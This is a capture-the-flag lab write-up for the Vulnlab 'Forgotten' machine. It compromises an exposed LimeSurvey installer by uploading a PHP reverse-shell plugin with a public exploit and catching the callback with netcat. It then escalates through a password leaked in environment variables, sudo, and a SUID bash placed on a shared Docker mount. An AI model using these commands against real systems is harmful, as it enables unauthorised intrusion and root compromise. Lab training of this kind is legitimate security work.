Vulnlab - Forgotten

Post image

Introduction

This post details the steps taken to exploit a vulnerable LimeSurvey installation hosted on an Apache web server. The goal was to gain initial access via remote code execution (RCE), escalate privileges inside a Docker container, and ultimately compromise the host system to retrieve the root flag.

Nmap

The initial Nmap scan revealed two open ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:a2:f3:19:e2:a1:7b:2e:d6:7d:ae:37:fe:d5:a6:39 (ECDSA)
|_  256 a7:ea:e8:ce:8a:54:15:16:f8:ba:4d:d1:b0:5c:c8:a7 (ED25519)
80/tcp open  http    Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)

Key findings:

  • SSH on port 22.
  • HTTP on port 80 with Apache 2.4.56 responding but returning a 403 Forbidden status.

Enumeration

Discovering LimeSurvey

Using feroxbuster, the web server was enumerated, and a LimeSurvey installation URL was identified:

└─$ feroxbuster -u http://10.10.99.255/
...
302      GET        0l        0w        0c http://10.10.99.255/survey/ => http://10.10.99.255/survey/index.php?r=installer

Upon visiting the URL, the LimeSurvey installation wizard was accessible. The installation was completed using a MySQL database hosted on the attacker's machine. Once installed, administrative access was granted with the chosen credentials.

Exploitation

Remote Code Execution (RCE)

A publicly available exploit for LimeSurvey (LimeSurvey-RCE) was used to achieve RCE by uploading a PHP reverse shell as a plugin.

Preparing the Exploit

  1. Download Required Files:
    The exploit's config.xml file and a PHP reverse shell script from PentestMonkey were downloaded:
└─$ wget https://raw.githubusercontent.com/Y1LD1R1M-1337/Limesurvey-RCE/refs/heads/main/config.xml
...
2024-12-03 12:47:06 (29.5 MB/s) - ‘config.xml’ saved [756/756]

└─$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php -O php-rev.php
...
2024-12-03 12:50:43 (14.1 MB/s) - ‘php-rev.php’ saved [5491/5491]
  1. Adjust Compatibility:
    The config.xml file was modified to include compatibility for version 6.0:
<compatibility>
    <version>3.0</version>
    <version>4.0</version>
    <version>5.0</version>
    <version>6.0</version>
</compatibility>
  1. Create a Plugin Archive:
    The reverse shell and configuration files were compressed into a ZIP archive:
└─$ zip Y1LD1R1M.zip php-rev.php config.xml 
  adding: php-rev.php (deflated 79%)
  adding: config.xml (deflated 56%)
  1. Prepare the Exploit Script:
    The exploit script was updated to reference the correct path of the ZIP file:
└─$ sed 's/\/root\/limesurvey\/plugin\/Y1LD1R1M.zip/Y1LD1R1M.zip/' exploit.py > exploit_modified.py

Executing the Exploit

  1. Start a Listener:
    A Netcat listener was started on port 8787 to catch the reverse shell.
  2. Run the Exploit Script:
    The exploit script was executed to upload and activate the malicious plugin:
└─$ python3 exploit.py http://10.10.99.255/survey 'admin' 'admin' 80 
...
[+] Plugin Activated Successfully

[+] Reverse Shell Starting, Check Your Connection :)
  1. Shell Access:
    The reverse shell was received, providing access as the limesvc user within a Docker container:
└─$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.8.4.110] from (UNKNOWN) [10.10.99.255] 35844
Linux efaa6f5097ed 6.2.0-1012-aws #12~22.04.1-Ubuntu SMP Thu Sep  7 14:01:24 UTC 2023 x86_64 GNU/Linux
 12:03:47 up  2:01,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
$

Post-Exploitation

Privilege Escalation in Docker

  1. Enumerate Environment Variables:
    Environment variables revealed a password:
limesvc@efaa6f5097ed:/$ env
...
LIMESURVEY_PASS=5W5HN4K4GCXf9E
...
  1. Gain Root Access in the Container:
    Using the discovered password, root access was obtained via sudo:
limesvc@efaa6f5097ed:/$ sudo su
root@efaa6f5097ed:/# whoami
root
  1. SSH to Host:
    The SSH service was active on the host system. Using the same credentials, a connection was established to escape the container and access the host:
└─$ ssh limesvc@10.10.99.255                                
(limesvc@10.10.99.255) Password: 
...
limesvc@ip-10-10-200-233:~$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)
limesvc@ip-10-10-200-233:~$ cat user.txt 
VL{CENSORED}

Privilege Escalation on the Host

  1. Identify Mounted Volumes:
    The CDK tool revealed a real-time mounted volume:
259:1 /opt/limesurvey /var/www/html/survey rw,relatime - ext4 /dev/root rw,discard,errors=remount-ro
  1. Copy a SUID Binary to the Host:
    With root access inside the container, the /bin/bash binary was copied to the mounted volume and marked as SUID:
limesvc@ip-10-10-200-233:~$ cp /bin/bash /opt/limesurvey/bash

root@efaa6f5097ed:/var/www/html/survey# chown root:root bash 
root@efaa6f5097ed:/var/www/html/survey# chmod ug+s bash
  1. Execute the SUID Binary:
    On the host, the copied binary was executed with elevated privileges, granting SYSTEM access:
limesvc@ip-10-10-200-233:~$ /opt/limesurvey/bash -p
bash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)

bash-5.1# cat /root/root.txt
VL{d75a070fbff631e40b21c99aea5d0a1a}